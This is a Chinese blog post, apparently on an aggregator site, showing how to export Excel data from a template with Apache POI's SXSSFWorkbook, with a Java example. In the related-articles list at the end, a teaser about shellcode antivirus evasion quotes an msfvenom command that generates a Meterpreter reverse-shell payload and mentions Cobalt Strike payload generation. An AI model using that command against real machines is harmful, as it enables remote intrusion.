java 利用poi根据excel模板导出数据(二)

news2024/11/24 19:32:09

本文是  java 利用poi根据excel模板导出数据(一) 的续篇

经常有poi的开发一定会碰到三个名词:

HSSFWorkbook 、 XSSFWorkbook、SXSSFWorkbook;

这三个都是导出excel的形式,具体区别:

HSSFworkbook,XSSFworkbook,SXSSFworkbook区别总结

我们在上篇用的是XSSFWorkbook,上篇我这边需求最多100行,所以用了XSSFworkbook,

但是由于需求不同、所导出的数据量不同,包括导出的文件大小等等,应选择不同的形式。考虑到别的需求有超过65535的,本文就以SXSSFworkbook来补充上篇

因为SXSSFworkbook在使用Excel模板下载数据时将不能直接动态改变表头,所以我们需要

去获取初始模板的行数据,并操作。

首先,我们直接把XSSFworkbook 改成SXSSFworkbook,看看会有什么效果

为什么getRow是空呢?

SXSSFWorkbook是streaming版本的XSSFWorkbook,它只会保存最新的excel rows在内存里供查看,在此之前的excel rows都会被写入到硬盘里(Windows电脑的话,是写入到C盘根目录下的temp文件夹)。被写入到硬盘里的rows是不可见的/不可访问的。只有还保存在内存里的才可以被访问到。

还有就是,模板数据存在于XSSFWorkbook中,你需要用sxssfWorkbook.getXSSFWorkbook()方法去获取初始模板的行数据。

为什么POI模板中的数据获取不到?

我们来试试 (只贴修改的方法代码,其他的和上篇一样)

  public static void doExportLongArrearsData() {
        // 要导出的数据
        NutMap nutMap = NutMap.NEW();
        nutMap.addv("comm","1111");
        nutMap.addv("a","1111");
        nutMap.addv("b","2222");
        nutMap.addv("c","11333311");
        nutMap.addv("d","1114441");
        nutMap.addv("e","555");
        nutMap.addv("f","6666");
        nutMap.addv("g","7777");
        nutMap.addv("h","88888");
        List<NutMap> list = Lists.newArrayList();
        list.add(nutMap);
        // 导出列  列数
        int colNum = 9;
        int[] colWidth = new int[colNum];
        for (int i = 0; i < colNum; i++) {
            colWidth[i] = 23;
        }
        // 从XX行开始为数据内容  excel 第一行为0
        int startRow = 5;
        //  2003版本的Excel (xls) ---- HSSFWorkbook
        //    2007版本以及更高版本 (xlsx)---- XSSFWorkbook
        //    2007版本以及更高版本 (xlsx)---- SXSSFWorkbook
        //SXSSF与XSSF的对比:
        //
        //a. 在一个时间点上,只可以访问一定数量的数据
        //
        //b. 不再支持Sheet.clone()
        //
        //c. 不再支持公式的求值
        //
        //d. 在使用Excel模板下载数据时将不能动态改变表头,因为这种方式已经提前把excel写到硬盘的了就不能再改了
        SXSSFWorkbook workbook = null;
        try {
            // 此处linux和windows通用   /files/cq.xlsx 在resource目录下  视情况而定
 
        /**
             *   特殊说明: this.getClass().getResourceAsStream 
             *   如果fileUrl路径前不加 / 那么会读取类文件夹下的文件。加了才会读取resource下面的文件
             *   exp: this.getClass().getResourceAsStream("/files/cq.xlsx") ==>读取resource下面的文件
             *   this.getClass().getResourceAsStream("files/cq.xlsx") ==>读取当前类下的文件
             *   源码:
             *     private String resolveName(String name) {
             *         if (name == null) {
             *             return name;
             *         }
             *         if (!name.startsWith("/")) {
             *             Class<?> c = this;
             *             while (c.isArray()) {
             *                 c = c.getComponentType();
             *             }
             *             String baseName = c.getName();
             *             int index = baseName.lastIndexOf('.');
             *             if (index != -1) {
             *                 name = baseName.substring(0, index).replace('.', '/')
             *                     +"/"+name;
             *             }
             *         } else {
             *             name = name.substring(1);
             *         }
             *         return name;
             *     }
             */
            //  InputStream inputStream = this.getClass().getResourceAsStream("/files/cq.xlsx");
            FileInputStream inputStream = new FileInputStream( new File("C:\\Users\\usaer\\Desktop\\buss.xlsx"));
            XSSFWorkbook xssfWorkbook = new XSSFWorkbook(inputStream);
            workbook = new SXSSFWorkbook(xssfWorkbook);
 // 获取sheet
            XSSFSheet sheetAt = xssfWorkbook.getSheetAt(0);
 
            // 动态列  修改表头名 、修改模板数据等操作
            // 自定义参数
            int k = 1;
            updateCellLoad(workbook,sheetAt ,k);
 
            // 填充数据
            fillBodyData( sheetAt ,startRow,list,colWidth);
 
          // 设置单元格宽度 (不设置就是模板宽度)
            if (null != colWidth) {
                for (int i = 0; i < colWidth.length; i++) {
                    sheetAt.setColumnWidth(i, colWidth[i] * 256 + 184);
                }
            }
 
            // 输出流
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            // excel工作空间写入流
            workbook.write(byteArrayOutputStream);
            InputStream wrap = Streams.wrap(byteArrayOutputStream.toByteArray());
            // 写到本地
            writeToLocal("C:\\Users\\usaer\\Desktop\\buss_"+k+".xlsx",wrap);
        } catch (Exception e) {
            System.out.println(e.getMessage());
        } finally {
            // 关闭流
            if (null != workbook)
                try {
                    workbook.close();
// SXSSFWorkbook 
                    workbook.dispose();
                }
                catch (IOException e) {
 
                }
        }
    }

 

这样就可以修改导出的表头等信息了

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/596619.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

bert中文文本摘要代码(1)

bert中文文本摘要代码 写在最前面关于BERT使用transformers库进行微调 load_data.py自定义参数collate_fn函数BertDataset类主函数 tokenizer.py创建词汇表encode函数decode函数 写在最前面 熟悉bert&#xff0b;文本摘要的下游任务微调的代码&#xff0c;方便后续增加组件实现…

Vue.js+nodejs高校水电费缴费设备维修管理系统

本大学城水电管理系统管理员功能有个人中心&#xff0c;用户管理&#xff0c;领用设备管理&#xff0c;消耗设备管理&#xff0c;设备申请管理&#xff0c;设备派发管理&#xff0c;状体汇报管理&#xff0c;领用报表管理&#xff0c;消耗报表管理&#xff0c;班组报表管理&…

面向对象编程 实验二 MouseHit--SDUWH

来源网络。仅供参考 面向对象编程技术 实验二实验报告 1.实验要求 熟悉Visual Studio的环境与使用,创建一个新的工程以EasyWin为示例程序完成第一个Windows程序的编写、调试、运行。练习命令行的方式进行程序创建。 在理解Windows按键与鼠标的基础上,开发一个小型的打字…

feat:使用企业微信JS-SDK的onMenuShareAppMessage()实现点击转发自定义分享内容(TypeScript)

背景&#xff1a;企业微信应用使用企业微信JS-SDK的分享接口实现分享样式自定义 原生&#xff1a; 需要实现成&#xff1a; 企业微信JS-SDK 是企业微信面向网页开发者提供的 基于企业微信内 的网页开发工具包。 通过使用企业微信JS-SDK&#xff0c;网页开发者 可借助企业微信…

Python-shellcode免杀分离

#Python-原生态-MSF&CS&生成&执行代码 MSF-payload&#xff1a;msfvenom -p windows/meterpreter/reverse_tcp lhostX.X.X.X lport6688 -f c CS-payload&#xff1a; 攻击--生成后门--payload生成器--选择监听器和输出格式为C语言 python 3.10-32位&#xff0c;注…

如何将完成的报告从 FastReport .NET 导出到 S3

FastReport .NET 报表生成器FastReport .NET是适用于.NET Core 3&#xff0c;ASP.NET&#xff0c;MVC和Windows窗体的全功能报告库。使用FastReport .NET&#xff0c;您可以创建独立于应用程序的.NET报告。 简单存储服务是一种用于存储大量数据的服务。该服务将存储的数据划分…

BERT在GLUE数据集构建任务(未完待续。。。)

0 Introduction 谷歌开源的BERT项目在Github上&#xff0c;视频讲解可以参考B站上的一个视频 1 GLUE部分基准数据集介绍 GLUE数据集官网GLUE数据集下载&#xff0c;建议下载运行这个.py脚本文件进行数据集的下载&#xff0c;如果连接无法打开&#xff0c;运行下面代码。运行…

想知道视频转音频怎么操作?快来看看这三种方法

在数字化时代&#xff0c;视频已成为人们生活、学习、工作中不可或缺的元素。不过&#xff0c;在某些情况下&#xff0c;仅通过视觉体验来获取信息可能并不方便或实用。比如&#xff0c;对于听障人士&#xff0c;他们无法通过视觉方式获取信息&#xff0c;但可以通过听觉方式接…

一文教你高速PCB信号完整性仿真怎么做

在高速PCB设计中&#xff0c;信号完整性是确保信号在电路板上传输过程中的稳定性和可靠性的重点&#xff0c;通过仿真工具进行信号完整性可帮助工程师在设计阶段解决信号完整性问题&#xff0c;从而优化电路板的性能和可靠性。那么如何做好PCB信号完整性仿真&#xff1f;下面来…

1.3 eBPF的工作原理初探

写在前面 上一节提到过,eBPF程序是面向BPF体系结构指令集编写的,它并不直接运行在Linux内核中,我们可以理解为它是运行在eBPF虚拟机,由eBPF虚拟机来执行eBPF字节码,就像java运行在jvm一样。 我们用一张原理图来看下eBPF程序的编译,加载,验证,钩子,映射等结点。 如上是…

Matlab查找整行为0的行号并记录

find函数 该函数可以查找非零元素的索引和值 例如&#xff1a; X 331 0 20 1 10 0 4 k find(X) %返回非零元素的索引号&#xff0c;即按列检索对应数值的序号 k_0 find(~X) %返回零元素的索引号 matlab检索索引号的方式如下&#xff1a;输出结…

CDN之域名管理操作流程简介

一、火伞云端配置 1、点击“域名管理”&#xff0c;找到需要配置的域名&#xff0c;点击“常规配置” 2、进入“域名配置”界面&#xff0c;点击“配置我的CNAME” 3、将要配置的CNAME配置到我的DNS&#xff0c;请复制此处的CNAME地址&#xff0c;同时打开您网站所属的DNS服务…

Linux 扩展磁盘空间

1. 为什么我的 Linux 磁盘空间不够用&#xff1f;/ 插入新的磁盘要怎么用&#xff1f; [注]&#xff1a;第一节基本是一些啰里啰唆的内容&#xff0c;想直接看如何操作&#xff0c;请直接跳转至第二小节&#x1f9d0; 很多人遇到这样的问题&#xff0c;当给一台新的主机安装上…

MySQL报错cannot add foreign key constraint解决方法

1 问题场景 利用Navicat对MySQL两张表想要进行外键关联时设置正确&#xff0c;但出现出现如下错误 2 原因分析 创建外键错误的原因大概有一下几个原因&#xff1a; 1、关联的两个字段的字段的类型不一致 2、设置外键删除时set null 3、两张表的引擎不一致 2.1 数据类型不一…

2023 下半年程序员生存指南!

见字如面&#xff0c;我是军哥&#xff01; 最近看到 4 月份&#xff0c;我国青年失业率 20.4%&#xff0c;说实话这个数字相当的高呀&#xff01; 另外&#xff0c;伴随最近若干大厂裁员&#xff0c;就这周就有两位读者跟我说被裁员了&#xff0c;我估计下半年的 IT 行业更是艰…

BR 5AP1130.156C-000

物料号: 5AP1130.156C-000 描述: 自动化装置面板 15.6" FullHD TFT - 1920 x 1080 像素 (16:9) - 多点触控&#xff08;投射电容&#xff09; - 开关柜安装 - 横向 - 用于 PPC900/PPC2100/PPC3100/ 联接模块 B&R ID 代码0xEC5D许可证 显示屏 类型TFT 彩色对角线…

ChatGPT 插件:深入探讨 OpenAI 的新功能及其如何改变我们使用 AI 的方式

OpenAI的API现在正在为成千上万的商业和开源项目和应用程序提供AI动力。而在推出六个月后&#xff0c;ChatGPT的插件终于加入了机智的聊天机器人&#xff0c;能够更好的应用在不同的场景中。 &#x1f50c; 什么是ChatGPT插件&#xff1f; ChatGPT插件是专门的扩展&#xff0…

报错:dll不是有效的win32应用程序

学习如何创建并调用动态库时&#xff0c;新建了一个项目用于调用自己创建的动态库&#xff0c;如下&#xff1a; 其中Dll3是新创建的动态库&#xff0c;text3是新建的另一个项目用于调用Dll3动态库&#xff0c;运行时报错如下&#xff1a; 原因在于Dll3动态库是默认的启动项目…

得物 H5容器 野指针疑难问题排查 解决

1背景 得物 iOS 4.9.x 版本 上线后&#xff0c;一些带有横向滚动内容的h5页面&#xff0c;有一个webkit 相关crash增加较快。通过Crash堆栈判断是UIScrollview执行滚动动画过程中内存野指针导致的崩溃。 2前期排查 通过页面浏览日志&#xff0c;发现发生崩溃时所在的页面都是…

C/C++数据类型从0到内存具体分配详解

一&#xff0c;数据类型分类 1.整形家族&#xff1a;char , short , int , long , long long , unsigned int , unsigned char , unsinged short , unsigned long , unsinged long long 。&#xff08;为什么将char归入整形家族是因为字符在机器中是以Ascll码值储存的&#…